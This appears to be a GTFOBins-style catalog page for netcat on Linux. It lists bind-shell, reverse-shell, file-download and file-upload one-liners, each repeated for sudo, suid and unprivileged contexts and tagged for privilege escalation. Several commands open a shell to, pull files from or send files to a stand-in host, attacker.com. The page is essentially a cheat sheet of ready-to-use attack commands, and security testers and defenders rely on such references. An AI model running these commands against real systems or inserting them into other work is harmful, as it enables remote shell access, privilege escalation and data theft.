CatalogGTFOBins

GTFO · Tool

nc

18 techniquesLinuxGTFOBinsGPL-3.0

bind-shell

Reverse/Bind ShellPrivilege EscalationLinux

This only works with netcat traditional.

nc -l -p 12345 -e /bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
bind-shell

bind-shell

Reverse/Bind ShellPrivilege EscalationLinux

This only works with netcat traditional.

nc -l -p 12345 -e /bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
bind-shell

bind-shell

Reverse/Bind ShellLinux

This only works with netcat traditional.

nc -l -p 12345 -e /bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
bind-shell

download

File DownloadPrivilege EscalationLinux

The file is actually written by the invoking shell.

nc -l -p 12345 >/path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege EscalationLinux

The file is actually written by the invoking shell.

nc -l -p 12345 >/path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
download
MITRE
T1105

download

File DownloadLinux

The file is actually written by the invoking shell.

nc -l -p 12345 >/path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
download
MITRE
T1105

download

File DownloadPrivilege EscalationLinux

The file is actually written by the invoking shell.

nc attacker.com 12345 >/path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege EscalationLinux

The file is actually written by the invoking shell.

nc attacker.com 12345 >/path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
download
MITRE
T1105

download

File DownloadLinux

The file is actually written by the invoking shell.

nc attacker.com 12345 >/path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
download
MITRE
T1105

reverse-shell

Reverse/Bind ShellPrivilege EscalationLinux

This only works with netcat traditional.

nc -e /bin/sh attacker.com 12345
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind ShellPrivilege EscalationLinux

This only works with netcat traditional.

nc -e /bin/sh attacker.com 12345
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
reverse-shell

reverse-shell

Reverse/Bind ShellLinux

This only works with netcat traditional.

nc -e /bin/sh attacker.com 12345
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
reverse-shell

upload

File UploadPrivilege EscalationLinux

The file is actually read by the invoking shell.

nc -l -p 12345 </path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege EscalationLinux

The file is actually read by the invoking shell.

nc -l -p 12345 </path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
upload
MITRE
T1041

upload

File UploadLinux

The file is actually read by the invoking shell.

nc -l -p 12345 </path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
upload
MITRE
T1041

upload

File UploadPrivilege EscalationLinux

The file is actually read by the invoking shell.

nc attacker.com 12345 </path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege EscalationLinux

The file is actually read by the invoking shell.

nc attacker.com 12345 </path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
upload
MITRE
T1041

upload

File UploadLinux

The file is actually read by the invoking shell.

nc attacker.com 12345 </path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
upload
MITRE
T1041